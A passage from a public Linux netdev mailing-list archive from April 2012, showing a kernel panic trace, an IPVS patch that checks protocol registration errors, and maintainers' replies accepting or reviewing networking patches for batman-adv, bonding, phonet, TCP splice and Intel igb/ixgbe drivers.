[ 1293.227038] Code: 89 c7 e8 34 91 3b 00 89 de 66 c1 ee 04 31 de 83 e6 0f 48 83 c6 22 48 c1 e6 04 4a 8b 14 26 49 8d 34 34 48 8d 42 c0 48 39 d6 74 13 <66> 39 58 58 74 22 48 8b 48 40 48 8d 41 c0 48 39 ce 75 ed 49 8d
[ 1293.227038] RIP [<ffffffff822aacb0>] tcp_register_app+0x60/0xb0
[ 1293.227038] RSP <ffff880038c1dd18>
[ 1293.227038] CR2: 0000000000000018
[ 1293.379284] ---[ end trace 364ab40c7011a009 ]---
[ 1293.381182] Kernel panic - not syncing: Fatal exception in interrupt
Signed-off-by: Sasha Levin <levinsasha928@gmail.com>
---
net/netfilter/ipvs/ip_vs_proto.c | 21 ++++++++++++++++-----
1 files changed, 16 insertions(+), 5 deletions(-)
diff --git a/net/netfilter/ipvs/ip_vs_proto.c b/net/netfilter/ipvs/ip_vs_proto.c
index f843a88..43893ba 100644
--- a/net/netfilter/ipvs/ip_vs_proto.c
+++ b/net/netfilter/ipvs/ip_vs_proto.c
@@ -316,20 +316,31 @@ ip_vs_tcpudp_debug_packet(int af, struct ip_vs_protocol *pp,
*/
int __net_init ip_vs_protocol_net_init(struct net *net)
{
+ int ret;
#ifdef CONFIG_IP_VS_PROTO_TCP
- register_ip_vs_proto_netns(net, &ip_vs_protocol_tcp);
+ ret = register_ip_vs_proto_netns(net, &ip_vs_protocol_tcp);
+ if (ret < 0)
+ return ret;
#endif
#ifdef CONFIG_IP_VS_PROTO_UDP
- register_ip_vs_proto_netns(net, &ip_vs_protocol_udp);
+ ret = register_ip_vs_proto_netns(net, &ip_vs_protocol_udp);
+ if (ret < 0)
+ return ret;
#endif
#ifdef CONFIG_IP_VS_PROTO_SCTP
- register_ip_vs_proto_netns(net, &ip_vs_protocol_sctp);
+ ret = register_ip_vs_proto_netns(net, &ip_vs_protocol_sctp);
+ if (ret < 0)
+ return ret;
#endif
#ifdef CONFIG_IP_VS_PROTO_AH
- register_ip_vs_proto_netns(net, &ip_vs_protocol_ah);
+ ret = register_ip_vs_proto_netns(net, &ip_vs_protocol_ah);
+ if (ret < 0)
+ return ret;
#endif
#ifdef CONFIG_IP_VS_PROTO_ESP
- register_ip_vs_proto_netns(net, &ip_vs_protocol_esp);
+ ret = register_ip_vs_proto_netns(net, &ip_vs_protocol_esp);
+ if (ret < 0)
+ return ret;
#endif
return 0;
}
--
1.7.8.5
^ permalink raw reply related
* Re: [PATCH] netfilter: ipvs: Verify that IP_VS protocol has been registered
From: Simon Horman @ 2012-04-05 23:19 UTC (permalink / raw)
To: Sasha Levin
Cc: wensong, ja, kaber, davem, davej, netdev, lvs-devel,
netfilter-devel, linux-kernel
In-Reply-To: <1333668273-8873-1-git-send-email-levinsasha928@gmail.com>
On Thu, Apr 05, 2012 at 07:24:33PM -0400, Sasha Levin wrote:
> The registration of a protocol might fail, there were no checks
> and all registrations were assumed to be correct. This lead to
> NULL ptr dereferences when apps tried registering.
Thanks, I will queue up this fix.
Do you have a real-world example of this failing, if so it
might be worth pushing your change into stable.
^ permalink raw reply
* Re: wimax: i2400m - prevent a possible kernel bug (commit 4eee6a3a04)
From: David Miller @ 2012-04-05 23:16 UTC (permalink / raw)
To: jwboyer; +Cc: phil.sutter, netdev
In-Reply-To: <20120405114245.GD1963@zod.bos.redhat.com>
From: Josh Boyer <jwboyer@redhat.com>
Date: Thu, 5 Apr 2012 07:42:46 -0400
> I noticed you just sent another round of net patches to the stable
> trees, but I didn't see commit 4eee6a3a04 included. You might want to
> include that in the next round, as we've seen it on a 3.3 kernel in
> Fedora (rhbz 808603).
Queued up for -stable, thanks.
^ permalink raw reply
* Re: pull request: batman-adv 2012-04-05
From: David Miller @ 2012-04-05 23:15 UTC (permalink / raw)
To: ordex-GaUfNO9RBHfsrOwW+9ziJQ
Cc: netdev-u79uwXL29TY76Z2rM5mHXA,
b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r
In-Reply-To: <1333622342-6128-1-git-send-email-ordex-GaUfNO9RBHfsrOwW+9ziJQ@public.gmane.org>
From: Antonio Quartulli <ordex-GaUfNO9RBHfsrOwW+9ziJQ@public.gmane.org>
Date: Thu, 5 Apr 2012 12:38:46 +0200
> This is my first pull-request, so I hope I've done everything in the right way,
> but please, fell free to blame me so that I can learn more :-)
>
> I would like to propose the following changes for net-next/3.5. The first patch
> just adds a new maintainer for batman-adv; patches from 2 to 5 are cleanups
> and little fixes to make batman-adv re-use kernel defines/structures (ETH_ALEN
> and bitmap); patch 6 increases the default value of the "hop_penalty" parameter
> in order to encourage batman-adv to choose shorter routes; patches from 7 to 16
> consist in the renewal of the bridge loop avoidance mechanism (aka BLA2).
> BLA2 faces the same problem that STP tries to solve in classical switched
> networks, but in a layer 2 mesh. In this case the problem shows up when the user
> connects two nodes belonging to the same mesh by means of an ethernet bridge.
> It is possible to find much more details about BLA2 in our wiki [1,2,3].
>
> As you can see its compile option is set to 'y' by default, but simply because
> this mechanism (actually its old version) was already part of the batman-adv
> core, but we decided to possibly let the users choose to remove it whether the
> network permits it and so reduce the binary size.
This series needs work.
1) Comments were added which were formatted like this:
/* ...
* ... */
Please fix all of these cases up to be:
/* ...
* ...
*/
2) Whan the bridge loop avoiding code is compiled out, you
replace them with macros that of all things use varargs
"..." instead of specifying correctly the arguments.
In any event these should not be macros, but rather
inline functions that do nothing, in order to get correct
type checking.
^ permalink raw reply
* Re: [PATCH] MAINTAINERS: update for Marvell Ethernet drivers
From: David Miller @ 2012-04-05 23:09 UTC (permalink / raw)
To: shemminger; +Cc: mlindner, netdev
In-Reply-To: <20120402155947.7167ef2d@s6510.linuxnetplumber.net>
From: Stephen Hemminger <shemminger@vyatta.com>
Date: Mon, 2 Apr 2012 15:59:47 -0700
> Marvell has agreed to do maintenance on the sky2 driver.
> * Add the developer to the maintainers file
> * Remove the old reference to the long gone (sk98lin) driver
> * Rearrange to fit current topic organization
>
> Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
Applied.
^ permalink raw reply
* Re: [PATCH 1/1] bonding: properly unset current_arp_slave on slave link up
From: David Miller @ 2012-04-05 23:08 UTC (permalink / raw)
To: vfalico; +Cc: netdev, fubar, andy, linux-kernel
In-Reply-To: <20120405134743.GB16870@darkmag.usersys.redhat.com>
From: Veaceslav Falico <vfalico@redhat.com>
Date: Thu, 5 Apr 2012 15:47:43 +0200
> When a slave comes up, we're unsetting the current_arp_slave without
> removing active flags from it, which can lead to situations where we have
> more than one slave with active flags in active-backup mode.
>
> To avoid this situation we must remove the active flags from a slave before
> removing it as a current_arp_slave.
>
> Signed-off-by: Veaceslav Falico <vfalico@redhat.com>
Applied, thanks.
^ permalink raw reply
* Re: [PATCH v2] phonet: Check input from user before allocating
From: David Miller @ 2012-04-05 23:06 UTC (permalink / raw)
To: remi; +Cc: levinsasha928, remi.denis-courmont, davej, netdev, linux-kernel
In-Reply-To: <201204052214.55669.remi@remlab.net>
From: "Rémi Denis-Courmont" <remi@remlab.net>
Date: Thu, 5 Apr 2012 22:14:54 +0300
> Le vendredi 6 avril 2012 01:07:45 Sasha Levin, vous avez écrit :
>> A phonet packet is limited to USHRT_MAX bytes, this is never checked during
>> tx which means that the user can specify any size he wishes, and the kernel
>> will attempt to allocate that size.
>>
>> In the good case, it'll lead to the following warning, but it may also
>> cause the kernel to kick in the OOM and kill a random task on the server.
...
>> Signed-off-by: Sasha Levin <levinsasha928@gmail.com>
>
> Acked-by: Rémi Denis-Courmont <remi.denis-courmont@nokia.com>
Applied and queued up for -stable, thanks.
^ permalink raw reply
* Re: [PATCH] tcp: allow splice() to build full TSO packets
From: David Miller @ 2012-04-05 23:05 UTC (permalink / raw)
To: eric.dumazet
Cc: netdev, ncardwell, therbert, ycheng, hkchu, maze, maheshb,
ilpo.jarvinen, nanditad
In-Reply-To: <1333631135.18626.606.camel@edumazet-glaptop>
From: Eric Dumazet <eric.dumazet@gmail.com>
Date: Thu, 05 Apr 2012 15:05:35 +0200
> Hmm, thinking again about this, I did more tests and it appears we need
> to differentiate the SPLICE_F_MORE flag (user request) and the internal
> marker provided by splice logic (handling a batch of pages)
>
> A program doing splice(... SPLICE_F_MORE) should really call tcp_push()
> at the end of its work.
This is the kind of problem I was hoping we weren't introducing
when I asked about sendfile() et al. the other day :-)
> [PATCH] tcp: tcp_sendpages() should call tcp_push() once
>
> commit 2f533844242 (tcp: allow splice() to build full TSO packets) added
> a regression for splice() calls using SPLICE_F_MORE.
>
> We need to call tcp_flush() at the end of the last page processed in
> tcp_sendpages(), or else transmits can be deferred and future sends
> stall.
>
> Add a new internal flag, MSG_SENDPAGE_NOTLAST, acting like MSG_MORE, but
> with different semantic.
>
> For all sendpage() providers, its a transparent change. Only
> sock_sendpage() and tcp_sendpages() can differentiate the two different
> flags provided by pipe_to_sendpage()
>
> Reported-by: Tom Herbert <therbert@google.com>
> Cc: Nandita Dukkipati <nanditad@google.com>
> Cc: Neal Cardwell <ncardwell@google.com>
> Cc: Tom Herbert <therbert@google.com>
> Cc: Yuchung Cheng <ycheng@google.com>
> Cc: H.K. Jerry Chu <hkchu@google.com>
> Cc: Maciej Żenczykowski <maze@google.com>
> Cc: Mahesh Bandewar <maheshb@google.com>
> Cc: Ilpo Järvinen <ilpo.jarvinen@helsinki.fi>
> Signed-off-by: Eric Dumazet <eric.dumazet@gmail>com>
Applied, thanks Eric.
^ permalink raw reply
* Re: [PATCH 2/2] ixgbe: add missing rtnl_lock in PM resume path
From: Jeff Kirsher @ 2012-04-05 23:03 UTC (permalink / raw)
To: Benjamin Poirier
Cc: Alex Duyck, Bruce Allan, Carolyn Wyborny, David S. Miller,
Don Skidmore, e1000-devel, Emil Tantilov, Eric Dumazet, Greg Rose,
Jesse Brandeburg, John Fastabend, John Ronciak, linux-kernel,
netdev, Peter P Waskiewicz Jr
In-Reply-To: <1333638664-17062-2-git-send-email-bpoirier@suse.de>
[-- Attachment #1: Type: text/plain, Size: 789 bytes --]
On Thu, 2012-04-05 at 11:11 -0400, Benjamin Poirier wrote:
> Upon resume from standby, ixgbe may trigger the ASSERT_RTNL() in
> netif_set_real_num_tx_queues(). The call stack is:
> netif_set_real_num_tx_queues
> ixgbe_set_num_queues
> ixgbe_init_interrupt_scheme
> ixgbe_resume
>
> Signed-off-by: Benjamin Poirier <bpoirier@suse.de>
>
> ---
> Unlike patch 1 for igb, we cannot lock rtnl closer to the point where
> netif_set_real_num_tx_queues() is called because
> ixgbe_init_interrupt_scheme()
> is also called by the dcb code, already under rtnl.
> ---
> drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 2 ++
> 1 files changed, 2 insertions(+), 0 deletions(-)
Thanks Benjamin, I will add the patch to my igb queue of patches.
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 836 bytes --]
^ permalink raw reply
* Re: [PATCH 1/2] igb: fix rtnl race in PM resume path
From: Jeff Kirsher @ 2012-04-05 23:02 UTC (permalink / raw)
To: Benjamin Poirier
Cc: Alex Duyck, Bruce Allan, Carolyn Wyborny, David S. Miller,
Don Skidmore, e1000-devel, Emil Tantilov, Eric Dumazet, Greg Rose,
Jesse Brandeburg, John Fastabend, John Ronciak, linux-kernel,
netdev, Peter P Waskiewicz Jr
In-Reply-To: <1333638664-17062-1-git-send-email-bpoirier@suse.de>
[-- Attachment #1: Type: text/plain, Size: 523 bytes --]
On Thu, 2012-04-05 at 11:11 -0400, Benjamin Poirier wrote:
> Since the caller (PM resume code) is not the one holding rtnl, when
> taking the
> 'else' branch rtnl may be released at any moment, thereby defeating
> the whole
> purpose of this code block.
>
> Signed-off-by: Benjamin Poirier <bpoirier@suse.de>
> ---
> drivers/net/ethernet/intel/igb/igb_main.c | 20 ++++++--------------
> 1 files changed, 6 insertions(+), 14 deletions(-)
Thanks Benjamin, I will add the patch to my igb queue of patches.
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 836 bytes --]
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox